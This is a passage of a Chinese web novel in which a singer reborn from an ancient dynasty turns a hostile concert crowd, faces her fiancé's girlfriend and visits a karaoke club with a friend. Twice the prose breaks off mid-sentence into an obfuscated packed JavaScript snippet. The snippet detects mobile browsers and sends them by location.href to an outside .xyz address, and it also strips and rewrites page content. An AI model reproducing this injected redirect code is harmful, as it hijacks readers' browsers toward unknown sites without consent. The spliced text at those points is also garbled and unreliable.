赵汝安曾经以为的黑暗是喜欢的人不喜欢自己,想得到的得不到。现在的她用更加沧桑哀沉的情感去唱,一个毫不费力的F5宽阔得就像拨云见日。 这种程度的高音,根本压不低她的头颅。 拧动车把,声音低沉如雷,既是她远行的痕迹,也是肆无忌惮的大笑。 是时候了。赵汝安纵身一跃。 “她跳下来了!” “我靠,她怎么还在唱?疯了吧!” “这个时候怎么还稳成这样!” 干练地丢下身后的护具,她每踩出的一步都伴随着流光溢彩的“ResurrectMe(复活我)”字样,就好像在一步步把他人的恶意踩烂,然后点燃成自己的光芒。 她的视线和唱腔都笃定到让人情不自禁愣了神。 “在这条公路上驰行, 我是流浪的强盗, 抢夺旧日的余晖; 我是浪头的水手, 呼吸海潮的芬芳。 在这条公路上驰行, 我是一切的一切, 天地又能奈我何!” 她没有靠近那些很有可能将她拉下去的听众,她要做的不是亲近他们,而是诱惑他们,像强盗、像水手、像场馆内一切的一切。 赵汝安笑着对晃动的人群伸了伸手指,在采样的摩托声音效中发出足够把这里的顶掀翻的高音。 ……简直不可思议。 一首歌的时间而已,恶念就已变的无处施展。干涩的喉咙被仿佛带上金属颗粒的歌声震动得更加干渴,挥舞着让人“下台”的双臂不知道从何时开始变的疲劳,就好像他们已经和歌声的主人一同沐浴过自由之河。 “如果不能随心所欲地徜徉在自由的旅程中,那么人生将毫无意义。” 本该饱受恶意的女人目光如星,转身离开舞台的最前方。 短短一首歌将观众驯化大半,就像巴甫洛夫的狗,昂起头期待那道身影再度毫无畏惧地闯进他们的视野。 只是忽然间,场上一暗。柔和的灯光贴心地照耀在没有携带光源的观众身上,而他们几乎是紧紧盯着陷入黑夜的舞台。 她又要玩什么花样? 对此,赵汝安的回答是,“当然是你没见过的花样”。 她可是把这些讨厌自己的人当作皇帝来招待的。 昏暗的光线中,舞者压低身躯,捧来绘有古代行军图的屏风。昂扬的战鼓一下又一下,响彻在整个演艺中心内。 身影原先隐隐绰绰,看不够真切,但也不需要看清楚。因为,屏风很快就会开启,迎来舞台的主人。 “我要逃离那帐——中——” 赵汝安已经利索把皮夹克和皮裤一脱,里面是一套改良后的兵衣,衣角的褐色象征着将军的铠甲。 现在,她再次点燃了会馆内的气氛,就像这群人本该是由她统帅的士兵。 《逃离那帐中》是赵汝安此前并未发行的新歌,歌词古风,风格摇滚。 说出来没人信,歌词改编自赵汝安在姜朝的真实经历。当时的赵汝安也不是什么威风凛凛的将军,不过是个幸运的逃兵。 她是人人得而诛之的佞臣酷吏,是陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459960|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚重的白手套,也是一个被大同理想召唤的普通人。 而在彼时,皇帝还是太子。她御驾亲征,赵汝安作为门客贴身跟随,直到因为掩护太子撤退被俘虏,差点死在敌军的营帐中。 “你是姜朝太子的什么人?一个女人怎么还细胳膊细腿的,难不成姜朝太子有什么特殊的癖好?” 她的生命,她在这个乱世中诞生的理想绝对不能在此磨灭。 人格究竟是从哪一次遇险开始渐渐转变,甚至变的扭曲,赵汝安已经记不清楚了。她只知道她会铭记第一次逃离军帐的畅快感,那场几乎将她吞噬的暴雨,那些厉声呵斥异界灵魂的滚滚雷声,什么染上瘟病而死、竹篮打水一场空的可能性全然被她抛之脑后,酣睡的追兵更是让老天爷都叹气的蠢货,赵汝安在山间狂奔的时候简直想要仰天大笑—— “死亡有何惧? 手握命运之人, 比死更先一步!” 太狂了,狂得让人害怕,让人寒毛直竖。 但无疑很有感召力,符合人类一直以来在寻找安全感和领头人的性格。 也只有这样曲折的经历,这样强烈的感受才能配得上她现在这副好嗓子。 到了第二首,赵汝安已经完全放松,进入了某种轻而易举被旋律把玩的状态。曾经她是歌声的主人,拿声音做容身之所的敲门砖,再拿声音奉承娱乐上位者;现在的她,不过是艺术的奴隶。 第二曲结束,赵汝安打了个响指,准备马不停蹄前往下一曲。 在她的预想中,自己要用五首歌的时间打动这群讨厌自己的人,再心平气和说两句话,降低说话过程中被打断的可能性。 但赵汝安一进入状态就容易话唠。 “真够燥的。”大屏幕上的女人已经出了点汗,一缕黑发粘腻在脸颊,被她轻轻一拨,再伴随一声举重若轻的感叹。 音乐响起的那一瞬间,她的左手在空中比出一个数字“3”,笑容灿烂:“各位全世界最讨厌赵汝安的人,接下来是第三首!” “我靠。”一个本准备蹭热度的站姐职业病犯了,腾的一下站起。 一边迅速调整肩膀上的大炮,她一边念念叨叨着“这么蛊”“今晚必出神图”。 此时的赵汝安没有注意到观众的氛围已经发生了变化,披了件外套开朗地唱起一首色调清新的小甜歌。 她同样没有注意到,vip座位上,祁令瑛握着蒙飞扬的手,两个人齐刷刷地泪流满面。 祁令瑛转头,手指碾碎感动的泪水:“秀秀跟小昀真应该亲自过来,看看什么叫神的孩子在唱歌。” “……你好咯噔。”蒙飞扬帮她擦眼泪,再给自己擦,擦着擦着悲伤涌上心头,“最后加一个耿薇,就我们三个在vip座位……明明这么好的演唱会……就这么点人……” 像一个怀才不遇的母亲,蒙飞扬差点哭晕在祁令瑛肩头。 作为赵汝安手底下的打工人,耿薇的心态和这两位出身优渥的大小姐不同。 尽管赵汝安说过希望通过彩排给她一记强心剂,从演唱会开始到现在,耿薇还是被深深地震撼了。这种震撼感既让她忍不住紧握赵汝安赠予的纪念币,也让她想要在演唱会结束后开玩笑地询问赵汝安,“我是赵老师的第一个歌迷吗”。 让人觉得,能和自己的偶像一起工作,真的很荣幸。 ——赵汝安就是有这样的魔力。 第五首唱完,赵汝安喝了一口矿泉水,喝完手持话筒:“首先,我想感谢今晚辛勤付出的保镖们。” “然后,我想感谢高抬贵手的你们。”大屏上的她笑着说,“今晚过后,你们会一边骂我,一边躲在被窝里偷偷听我的歌吗?” 台下沉寂片刻,突然传来一道稍显稚嫩的女声说“招笑天后滚出中国”。 女孩是展琢的粉丝,刚上初中,几乎是喊完的一瞬间就后悔了。 “我的天哪。”赵汝安做了个捧脸的动作,“好低的攻击性,我的心情竟然没有丝毫波动。” 台下传来一阵善意的笑声,女孩也随即红了脸。 赵汝安悠闲地走了两步:“但是,我听出来你讨厌我了。看来我得多唱几首,让大家慢慢习惯我像只喋喋不休的蚊子,非要给你们唱歌。” “各位,休息片刻,我们马上回来。” 7. 第 7 章 “还真让她装到了。” “这歌好好看……不是,这张脸好好听。” “我不是过来线下anti招笑天后的吗?” “这个票价,值了!” 那张被汗水微微濡湿的脸透出唱跳后的淡淡桃粉,比起用骨与肉的美轮美奂带给旁观者强烈的冲击性,更倾向于用纤细的画笔勾勒出神韵。 本该是温养出的金娇玉贵之姿,却飞扬着恣意张扬的神采。她转过身,脊背挺直,肌理仿佛透过剪裁奇异的礼服伸出触角,形成一双柔韧的羽翅。无数的神来之笔冲破他人设定的边界线,最终构成了难以言说的故事感,好像上可触碰天庭辉光,下能潜入无尽尘埃。 尘沙漫天的公路,都市的霓虹灯光,与土腥味共舞的乡村一角……她不但自己是纷繁经历的总和,还能带着听众上天入地。 从动感的现代舞池切换到规整华丽的古代宫殿,再回到斑斓的城市银河,她的歌声随心所欲,风格转换自如。 “下一首,《你雕琢我的梦》。” “这首歌曾经打动过我自己,现在希望可以给你们带来一些新的感觉。” 台下顿时议论纷纷。 “这不是展琢知名梦女用曲吗?” “这么嚣张,是真不怕被小玉镯撕啊。” 然而,当宛转空灵的人声伴随清澈温润的钢琴声倾泻而出,可以收纳进殿堂的世外天籁如泣如诉,将难以想象的脉脉深情灌注于让人头晕目眩的技巧中。 只是静静地伫立,吟唱,就已融入千言万语。 听到此处,俞唐不禁在后台眼含热泪。 她甚至比那日录歌唱得更细腻,里面涌动着说不清道不明的东西。只能感受,却不能描述。这种发自灵魂的感动,俞唐在制作人行业干了这么多年,感受到的次数满打满算,单一只手就能数得过来,还嫌多。 不是唱给展琢,亦不是床榻边哭泣不止的旧人。后者在她的创作中已经占据一席之地,不必再侵扰她前往姜朝以前的私人空间,何况他们都已经散落在尘埃里了。 她要唱给那个再也回不来的“赵汝安”。 即便不能理解,但否定昨天就是否定自己的成长。 “……梦是憧憬的序言, 你是我说不出口的憧憬, 发现我,修剪我,雕琢我。 这片刻的温度, 我已不满它只存于幻梦之中……” 遗憾虽有,但赵汝安已经触碰过现实,就不会再满足于虚无缥缈的梦,更何况还是一场恶意满满的噩梦。 值得记住的,不过一个“赵汝安”。而她此刻正在耳畔轻声诉说:发现我,然后不要成为我。 “……毕竟,你曾雕琢过我的梦。” 眷恋有之,压抑有之,更多的是释然。 一曲终了,岂止是意犹未尽。听众或许会被有意为之的舆论导向牵着鼻子走,无形中助纣为虐,但他们的耳朵同样灵敏,知道什么是好的音乐。 ——剥离所有天花乱坠的宣传,以及所有以现代媒体为载体的鼓吹,剩下来的那一点闪闪发光的东西。 她握着话筒,一字一句都是诚心,顾盼生辉,“我永远不会以这首歌为耻,因为它是我的作品,我的孩子,尽管我是一个非常不成熟的母亲。” “最后一首歌,《沉香忆》。” “这首歌是我给自己留存的一片世外桃源,纪念了一段除我之外所有人都不知道的回忆。” “不用知道背后的故事,笑谈而已,感受就好。” 她用一整个演唱会证明自己并非虚张声势的骗子,只是有些话语不方便直言,但歌声无界。 至少,赵汝安此刻的“神秘主义”不会让人觉得可笑和厌烦,而是给人以力量感。她很强大。 专业舞者在半空中荡起巨大的秋千,下面的观众忍不住惊呼。 赵汝安也开始轻轻吟唱。 “幽帘霜降,卷我衣衫轻。 沉香浮燃琉璃瓦,素履踏过红阶梯, 暖炉蒸腾映天涯。 双魂隔旧岸,残花悠悠潜水中,不过延我旧时情……” 系统一听歌词,哦哟,什么沉香忆,叫亡夫回忆录还差不多。 展琢是这个世界仅次于女主角容楚宁的次核心,但他的容貌是板上钉钉的一等。 起初,系统还以为赵汝安不在意是因为她还没有和展琢见上一面,毕竟只要见过一面,以她对赵汝安的观察,赵汝安不可能没兴趣,毕竟食色性也。就算展琢注定是女主角的战利品,借着女配的身份戏耍一番也不为过。 现在,总算是找到原因了。 ——如果见过世上最美丽的花,至少在摘取的人眼底的确如此,那么其他的再怎么好,都不过是俗物。 唱词交相碾过唇舌,磨出苦涩的汁,苦味淡淡,更多是温暖的怀念。 四两拨千斤也不过如此。如果说最开始是为了震慑,那么拿这首聊以抒情的古风情歌收尾算不上平稳落地,而是六边形战士对军火库的全面展示。 动情的颤音绵绵如细语,就这么消散在空气中。 “……谢谢。” 整场下来,只有丰富到令人咋舌的视听体验,完美到让人像是被生生噎住,一时间半句坏话都讲不出口。 灯光聚于赵汝安身上,而她正独自返程。 就像流星的残骸,光芒渐渐散尽,场内变的冷落寂寥。所有人都变的慌乱起来,演唱会的主人用最后几首歌的时间为离去预热,他们却觉得听不够了。 “安可!” “赵汝安再唱十首!” “求再唱一百首!” 赵汝安停下脚步:“谁刚才说让我再唱一百首?” 结果,此起彼伏的“赵汝安再唱一百首”像是波浪般朝舞台涌去。最开始喊声不够齐,后来竟然变成一个声音,声势浩大。 “赵汝安再唱一百首!” “唉。”女人的叹气声夹杂着无奈,“一百首可能会要我的命。” 她在原地晃了几步,仅剩的灯光打在她的身上,似是思索。终于,赵汝安对准话筒:“这样吧,给我十个侧手翻的时间,我给你们写一首新歌。” 在热情的欢呼声中,赵汝安满脸都是勉为其难,慢慢将话筒放到旁边,确保不被误伤。 无论是台下已经见识过这一诡异场景的的vip观众,还是台后默默观看的工作人员,都因为知情连忙捂住脸。 没眼看,实在没眼看。 什么招笑天后,侧手翻天后还差不多。 也有观众默默道一句“我怎么觉得是她自己想翻”,但也淹没在期待的起哄声中。 说时迟那时快,赵汝安仗着自己穿的是松紧合宜的裤装,已经三下五除二开始翻起来。 “我勒个歌后再就业啊,可以去少儿频道cos大风车了。” 赵汝安不听,只是一味地侧手翻。先向前翻五个,再向后五个,最后赠送一个干脆的后空翻,非常卖力,非常沉醉。 观众竟也不知不觉鼓起掌来。 奖励完自己,赵汝安还没站定几秒,迅速拿起话筒,然后就是一个山路十八弯的转音,不要钱地转,听感丝滑得好像一颗正在融化的巧克力将身一扭,反从胯下逃走了。 “今天是我们和好的零点五天~~” 唱完第一句,舞台下便已笑作一团。 信念感让赵汝安继续唱道:“今天零点五,明天零点五,凑个一,凑个好字~~” 旋律优美入耳,气息稳得就像生吞了十头大象和十个唱片机,歌词随意到好笑。 她终究笑出声:“不好意思,只准备了侧手翻,没有把这首歌准备得很好。” “下次我会把完整版唱给你们听。”赵汝安一路朝回走,对热情的粉丝挥手,终于有了点大明星的感觉,“朋友们,这次是真的得说再见了。” “谢谢你们见证我的‘复活’。” 最后是一个深深的鞠躬。 弯下腰的时候干脆而诚恳,直起来的时候意气风发,好像在说“这只是个开始”。 当晚,赵汝安的名字将热搜洗劫一空。 由于赵汝安在最后没能控制住,整了活,因此热搜第一的不是她专业过硬,而是“赵汝安十个侧手翻”,配有听众录制的视频。 何止是这一个不那么正经的词条,还有什么“赵汝安怎么拍都不丑定律”“滚出中国就算了,你不待我还要待”。 其中固然有团队运作的功劳,但赵汝安实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了演唱实力,她的创作能力、现场表现出的幽默感以及背负的绯闻都为这次质的提升做出了贡献。毕竟要想成为历代级的人物,首先考虑的不应该是“被喜欢”或“被讨厌”,而是“被关注”,否则再优秀也好像从没存在过。 “你已经把整个盛宏掀翻了。”俞唐显然对那一晚的演唱会意犹未尽,“除了唱功,你塑造的公众形象也是颠覆性的。你很聪明。” 赵汝安一哂:“谢谢夸奖。我知道投射在我身上的注意力来自谁,有他们在,我才不至于无人问津。” “开始吧。” 她要趁热打铁,把醒来后的第一张专辑《ResurrectMe》抓紧时间端上桌。不仅是为了赚钱,还要尽力提高身价,让“赵汝安”这个名字成为行走的品牌效应。 她心想,这一次自己绝不可能像原著一样拉下脸、降低片酬找到导演组,再死皮赖脸借助父母的关系把自己塞进那个展琢担任MC的选秀综艺。 她要导演组主动找上门,因为想要借一借她这段时间的热度而谄媚,到时候片酬该多少就多少,她还要开公司呢。 是的,赵汝安除了录制新专辑,还收购了一家小型偶像公司。反正在国内的市场,偶像很难有正儿八经的打歌舞台,很多人连音乐素养都不够,最终都是要打包去演戏的。赵汝安决定好好经营,从长计议,总之不能局限于狭义上的偶像行业。 而在被《ChosenStar》邀请之前,赵汝安首先要应付好展家。 展家老两口本来都想好,这笔钱就当是为了给赵汝安和赵家赔罪,扔水里都不一定听个响,结果十分出人意料,效果很好,展家很多产业的股票都被带动着涨了不少。 这下庆功宴非举办不可了。 “安安啊,到时候都是自己人。大家都是为了给你庆祝,这才好不容易聚一回。” 赵汝安在电话里笑了笑:“您看着定地方吧。” 和展家联络感情不算坏事,毕竟有钱他们是真的给。比起真的把她看做自家人,赵汝安更想要他们的钱,能薅多少是多少。 与此同时,展琢刚洗完澡,浑身还在嘀嗒着水。手机屏幕上是许多的未接来电,看着就让人头皮绽裂。 确保外面的女友听不见,展琢拨回去:“爸爸。” 8. 第 8 章 浴室里已经没了洗澡的动静,压低音量的低沉男声容楚宁也无暇去论他在和说话、内容是什么,因为她的注意力被电脑屏幕上的视频吸引得容不下第二个人。 自从C位出道,容楚宁以为自己的人生已经彻底被改变,是时候应该先谈喜欢做什么,再谈怎么挣钱,但以偶像身份活动并没有带给她想象中的满足感。 她可以选择成为歌手,就和其他只有挂着etGirl成员”头衔才勉强能有点知名度的队友一样,但她已经很久没有正儿八经唱跳过一次。 合约还有半年结束,合体舞台遥遥无期,成员都忙着自谋生计。作为其中发展最好的成员,容楚宁必须得承认,展琢和经纪人给她制订的流量小花路线是最可持续的,展琢手头有很多资源,她也从自己的演技天赋中尝到了甜头,本该没有什么不满意的地方。 屏幕上的女人跳着奇异的舞蹈,像是游牧民族端上牛羊祭品后的祝祷之舞,又似一支跳入军阵、鼓舞士气的舞蹈。 她的手臂宛如满拉的劲弓,而长箭的锋芒就在眼中。双足跳起时犹似没有缰绳束缚的野马,落下后踏出四溅的泥沼,不羁、野性,人体美学一览无余。 在这样强度的舞蹈中,赵汝安神采奕奕,没有丝毫的勉强和不快,只是陶醉其中,气息比秤砣还要稳定。 这绝不仅仅是偶像的水准,也绝不是刻苦训练就能得到。 着魔一般,容楚宁用小号一个视频接一个视频地刷过去。在听到那首让展琢十分烦躁的示爱之曲,容楚宁最先感觉到的不是反感,亦或者故作大度将这个获得了合法身份、但终究得不到展琢心意的爱慕者抛之脑后,而是浓烈的嫉妒。 为什么能唱得这么好。为什么自顾自达到常人难以触碰的高度,用释然的眼光笑看从前那个闹出不少笑话的自己。 为什么。为什么。她已经在物质上获得旁人一生求不得的充裕,还要在精神境界上比她更胜一筹吗? 湿热的吐息自身后而来,吹着容楚宁的脖颈。展琢想笑问她在看什么,屏幕中的身影让他正欲彼此碰触的嘴唇一滞。 “看她做什么。”他声音微沉,流露出淡淡的不悦来。 此刻,男人精妙的躯体勾不起分毫旖旎的兴致,容楚宁满心烦躁,偏偏还忘不了女人猝不及防和她对上的双目,抬手将电脑熄屏:“没什么。” 她弄不懂自己的心情,只当是完全的嫉妒,竭力把这束火压下,变回以前那个自己,“我去洗个澡。” 展琢:“明天晚上和我回家。” “回家?这里不是吗。”容楚宁起身,答非所问,“为什么非得给我难堪。” 展琢握住她正欲转身的肩膀:“她会在。你刚刚正在看的人也会在。……就是为了给她开庆功宴。” 说是脱离了展家,但容楚宁很清楚,无论是现在两个人待的高级公寓,还是展琢借助那部票房惨淡的文艺片一封影帝,前者花的是展家的钱,后者仰仗展家的影响力。 他从未真正离开,哪怕平心而论,他已经做得足够好。 “……既然邀请了你,那我也得去。我会让她认清谁才是你的正牌女友。” 展琢刚想拥抱容楚宁,却被她拂去手,笑容一时间凝固在脸上。 拨离他手的时候,容楚宁还在想:为什么赵汝安就可以。 另一边,赵汝安凯旋,赵母赵父一人给她包了个大大的红包,像对待小孩那样,让她“喜欢什么就买”。 “我还没想好。”赵汝安收起红包,亲完赵母泛起皱纹的脸蛋,再跟称兄道弟似的拍拍赵父沧桑的脊背,“但我会规划好这笔钱的。” 赵父张嘴:“展家那边……” 赵母刚想白他一眼,哪壶不开提哪壶,赵汝安便轻快道:“阿姨跟我说了,两家人正好热闹热闹,我也好久没见展琢了。” 说是两家人,但赵汝安见不到如今被展家夫妇重点培养的接班人。他在原著里不重要,毕竟展琢最后当然是两手都要抓,美名其曰不忍心容楚宁奔波,让她回家当富太太,皆大欢喜。 真是暴殄天物啊。 赵汝安微摇头,回过神揽住父母的肩膀:“爸,妈,我就一个要求。要是展琢把他的女朋友带过来,你们别出声,别主动去做恶人。” 赵母气沉丹田:“胡闹!展琢他敢!” “他要是铁了心要跟那个小明星在一起,就再也别参加展家的饭局,立马跟你解除婚约。”赵父也很不快,“太不会做人了,搞得好像是我们安安的不是。” 哎,当初还真是她死缠烂打来的婚约。 赵汝安没有心虚,笑得十分憨直:“我知道你们气展琢欺负我,我以后会欺负回去的。至于这个容小姐,你们都听我的,她可不是池中物。何况她家境不好,何必以大欺小呢。退一万步讲,就算她是为了生存跟展琢交往,那更情有可原了。” 赵母也不是无理取闹的人,只是替女儿气不过:“妈多给你介绍几个帅的。展琢敢蹬鼻子上脸把人带回去,你正大光明谈一个,我料想展先生和他太太也不好说什么。” 赵汝安笑眯眯:“正准备找呢,马上会有个综艺,里面全是长得好看的年轻小伙,个个都会唱歌跳舞。” “会唱歌好,跟你有共同语言。 ”赵父忙不迭附和,“到时候你也带过去,多带几个,膈应死他们。” “那算了,叔叔阿姨给我损失费呢,真找也得是私底下偷偷的,面子上得过得去。” 赵汝安可不打算仓促地解除婚约,她准备再多薅点羊毛。更何况未婚妻头衔在,之后上综艺才有噱头。 左一个被家人承认的正牌未婚妻,右一个公共场合成双入对的女朋友,她倒要看看展琢什么反应。 系统翻看设定集偷偷补课:“其实真要论先后,还是你先来的。” 的确如此,当时展琢已经拍了不少戏,产生独立出去,趁早自立门户的想法,对赵汝安的执着谈不上十分抗拒,只是敷衍说“你如果能接受我不是展家的子孙,随便你怎么闹”,还想让赵汝安分散自家爹妈的注意力。 结果一转头,展琢的真命天女来了,对她的言辞开始激烈起来。原先的赵汝安只是不经常用脑子,不至于脑子不存在,所以她不接受忽然转换的厌恶,不能够理解展琢的态度为什么从不闻不问、听之任之到恨不得与她彻底割席,毕竟祖上也有不浅的交情。 这些在原书中一笔带过、被斥作不合理的怨愤,曾经的赵汝安切切实实感受到了。 但在她的认知中,只有“闹”一个手段。 现在,赵汝安轻描淡写,根本不在乎什么先来后到:“不用纠结这种问题,我不需要跟容小姐比大小。” 系统点头:“是我越活越回去了。” 晚上和祁令瑛有约,系统看完演唱会心满意足早退,赵汝安便空出一个清净的脑袋前往包厢。 包厢是祁令瑛订的,因而不是她最喜欢的健身房主题。 赵汝安面露难色。 “你那是什么表情?拜托,这可是我祁令瑛的私人包厢,你赵汝安再厉害也得我允许才能进!” “Excuseme.”赵汝安退回去,敲两下门,“可以了吗?” 祁令瑛翻了个白眼:“知道了,这位燕城小天后,快进来快进来。” 对于这个新绰号,赵汝安很是受用。她虽不在意黑称,但要是有新的美谈,是个正常人都喜欢被夸赞。 她往沙发上一靠,随便勾勾手让一个年轻白净的小伙走近点,再指向桌上的果盘,边被喂着吃边懒洋洋道:“看到热搜了?” “……你为什么这么熟练啊!”祁令瑛目瞪口呆,“我白纠结了!我还担心你要跟我闹!” 之前她顾忌赵汝安热恋展琢,从未想过带她享用这种消遣,没想到赵汝安身处其中时如鱼得水。 赵汝安:“闹什么?你不是为我好吗。” “我就喜欢你这种‘忠贞不渝’的人。”祁令瑛转怒为笑。 知道赵汝安自己也会找乐子,不是真的跟个愣头青似的去热脸贴冷屁股,她就放心了。 “还是不要拿这么好的词开玩笑了。”赵汝安眼眸微垂,蓦地朝旁边晃去,飘忽的眼神分量忽然间重了几分,“你,过来。” 男人走过来,祁令瑛以为她是看上了,刚准备开口,赵汝安便说“你唱你的,不用管我这边”,她随即识趣地到一旁去,跟个叫小刘的男模你一句我一句,好不快活。 然而男人一走近,抬起头 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“让他们说。”赵汝安和他调笑,“娘是个好词,又不是个骂人的话。你让他们说去,我喜欢。” 一听她说喜欢,William更是含羞带怯,脸庞清俊的走向晕染开晚霞般的红。 中间赵汝安唱了两首英文歌,情意婉转,包厢内随即响起掌声。 她微微欠身,倒是不客气:“献美了。” “以后可使唤不动你了,大明星。” 赵汝安坐回去:“哪能啊,肯定为我们祁大小姐鞍前马后。” 待她坐定,William试探地询问:“我是不是哪里有点儿像您惦念的那位先生?”他语含羡慕,“那位先生真是好命。” 赵汝安回以一哂:“好命什么,遇上我算是倒了八辈子霉了。” 本来在深山隐居得好好的,过着闲云野鹤的生活,虽说清苦,但胜在自在,了无拘束与烦恼。结果后来找到皇城去,差点被她寻了个机会砍头不说,后来更是把自己的一只脚弄跛了。 就这样,还非要跟着那位声名狼藉的赵大人,撞了南墙还不回头。 “您这么说,是因为体谅他,知道他有多容易。坏人都不说自己坏,您愿意为他着想,怎么样都算不上坏。”William自觉当起解语花,“要不怎么说那位先生幸运呢,碰上您么个替他思量的贵人。” 赵汝安一笑了之,喜怒不显:“你这张嘴,确实会讨人欢心。” William心意一动,觉得时机成熟。 “那……您要不要试试味道呢?” “祁小姐还在呢。”赵汝安笑容收敛许多,“而且,那位先生可没你这么放得开。” 这句话出来,William知道自己太心急,弄巧成拙了。 赵汝安不怎么笑的时候确实很有压迫感,有种文明社会沾不到的匪气、血气。William工作这么久,何时接待过这种人,脸都有些白了。 赵汝安宽慰他:“吓吓你呢。言归正传,我看你嗓子好,口才也不错……” 她草草打量过这张脸,“……去说脱口秀太屈才了,要是愿意唱唱歌,我还能帮帮你。这也是个挺累人的活,短期内应该没有手头这个来钱多吧。” William以为她在说笑,只道以后来这里可以多找找他,浑然不知自己错过了什么。 既然他这么认为,赵汝安也不多说,接过话筒唱了一首《梦里人》,又是满堂喝彩。 “好!今天我话就放这儿了,什么燕城小天后,我们赵软软以后必成为历代级歌后!” 祁令瑛喝了两杯,有点上头,声音开始发飘。她挽过赵汝安的胳膊,刚要和她对唱一首经典情歌,包厢的门被推开。 “谁这么不长眼——”祁令瑛回头,话没说完,酒醒了大半,颤颤巍巍,“哥……大哥。” 能够不长眼地打扰祁大小姐的,必然是她这个既当爹又当妈的养兄。 门口的男人沉声:“祁令瑛,你答应了我,就不要半途而废。” 赵汝安循声望去,眼里有几分兴味,几分探究,正好和男人对上视线。